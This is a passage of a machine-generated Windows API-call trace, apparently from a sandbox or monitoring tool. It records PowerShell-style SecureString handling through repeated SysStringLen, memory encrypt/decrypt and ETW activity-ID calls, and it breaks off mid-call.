[0126.330] SysStringLen (param_1="A91aDqF+iW5yeRpMS1OYSMEQHFiMkfraFAwJ8UGyJu㰑鞽쯨ꡡ挍䚑") returned 0x30 [0126.330] SystemFunction040 (in: Memory=0x8e30a1c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a1c) returned 0x0 [0126.330] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\x950c\x23de\xdff4\x64d0\x87f4\x6514\xbb8a\x64dd\x9e33\x5edb\x537c\x21e\x572c\x6281\xae5e\x7a34\xd2b7\x659e\xe1f3\x50bd\xeaa8\x9bf8\x1fc7\xf476\x158e\xc6d6\xdcca\x25cc\x9a8e\x740d\x43\xdfd6") returned 0x30 [0126.330] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\x950c\x23de\xdff4\x64d0\x87f4\x6514\xbb8a\x64dd\x9e33\x5edb\x537c\x21e\x572c\x6281\xae5e\x7a34\xd2b7\x659e\xe1f3\x50bd\xeaa8\x9bf8\x1fc7\xf476\x158e\xc6d6\xdcca\x25cc\x9a8e\x740d\x43\xdfd6") returned 0x30 [0126.330] SystemFunction041 (in: Memory=0x8e30a1c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a1c) returned 0x0 [0126.330] SysStringLen (param_1="A91aDqF+iW5yeRpMS1OYSMEQHFiMkfraFAwJ8UGyJuQ鞽쯨ꡡ挍䚑") returned 0x30 [0126.330] SystemFunction040 (in: Memory=0x8e30a1c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a1c) returned 0x0 [0126.330] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\x950c\x23de\xdff4\x64d0\x87f4\x6514\xbb8a\x64dd\x9e33\x5edb\x537c\x21e\x572c\x6281\xae5e\x7a34\xd2b7\x659e\xe1f3\x50bd\xeaa8\x9bf8\x1fc7\xf476\x769d\x3192\x879f\x6874\xa3db\x6431\x1904\x673c") returned 0x30 [0126.330] SysStringLen (param_1="\x131c\x6131\xf968\x4372\x64aa\x318b\xfb1a\xc622\x7ec4\x8eb3\xa333\x8f14\x94ed\x2187\x20ae\x266b\x950c\x23de\xdff4\x64d0\x87f4\x6514\xbb8a\x64dd\x9e33\x5edb\x537c\x21e\x572c\x6281\xae5e\x7a34\xd2b7\x659e\xe1f3\x50bd\xeaa8\x9bf8\x1fc7\xf476\x769d\x3192\x879f\x6874\xa3db\x6431\x1904\x673c") returned 0x30 [0126.330] SystemFunction041 (in: Memory=0x8e30a1c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a1c) returned 0x0 [0126.330] SysStringLen (param_1="A91aDqF+iW5yeRpMS1OYSMEQHFiMkfraFAwJ8UGyJuQ=쯨ꡡ挍䚑") returned 0x30 [0126.330] SystemFunction040 (in: Memory=0x8e30a1c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a1c) returned 0x0 [0126.330] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae650*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae650*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9c, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.330] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aea5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aea5c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9c, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.330] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9b, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9b, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.331] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae58c, nSize=0x100 | out: lpBuffer="㡐犯,") returned 0x0 [0126.331] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae964*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae964*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9d, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.331] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9b, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.331] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae954*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9d, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae954*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9d, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.331] SysStringLen (param_1="") returned 0x8 [0126.331] SysStringLen (param_1="Y") returned 0x8 [0126.331] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.331] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0126.331] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0126.331] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.331] SysStringLen (param_1="YW") returned 0x8 [0126.331] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.331] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0126.331] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0126.331] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.332] SysStringLen (param_1="YWM") returned 0x8 [0126.332] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.332] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0126.332] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0126.332] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.332] SysStringLen (param_1="YWM1") returned 0x8 [0126.332] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.332] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0126.332] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0126.332] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.332] SysStringLen (param_1="YWM1O") returned 0x8 [0126.332] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.332] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0126.332] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0126.332] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.332] SysStringLen (param_1="YWM1OT") returned 0x8 [0126.332] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.332] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0126.332] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0126.332] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.332] SysStringLen (param_1="YWM1OTE") returned 0x8 [0126.332] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.332] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0126.332] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0126.333] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.333] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0126.333] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.333] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0126.333] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0126.333] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0126.333] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0126.333] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.333] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0126.333] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.333] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0126.333] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0126.333] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.333] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0126.333] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.333] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0126.333] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0126.333] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.333] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0126.333] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.333] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0126.333] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0126.333] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.334] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0126.334] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.334] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0126.334] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0126.334] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.334] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0126.334] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.334] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0126.334] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0126.334] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.334] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0126.334] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.334] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0126.334] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0126.334] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.334] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0126.334] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.334] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0126.334] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0126.334] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.334] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0126.334] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.334] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0126.334] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0126.335] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0126.335] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0126.335] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.335] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0126.335] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.335] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0126.335] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0126.335] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.335] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0126.335] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.335] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0126.335] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0126.335] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.335] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0126.335] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.335] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0126.335] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0126.335] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.335] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0126.335] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.335] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0126.335] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0126.335] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.336] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0126.336] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.336] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0126.336] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0126.336] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.336] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0126.336] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.336] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0126.336] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0126.336] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.336] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0126.336] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.336] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0126.336] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0126.336] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.336] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0126.336] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.336] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0126.336] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0126.336] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0126.336] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0126.336] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.336] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0126.336] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.337] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0126.337] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0126.337] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.337] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0126.337] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.337] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0126.337] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0126.337] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.337] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0126.337] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.337] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0126.337] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0126.337] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.337] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0126.337] SystemFunction040 (in: Memory=0x43b19c4, 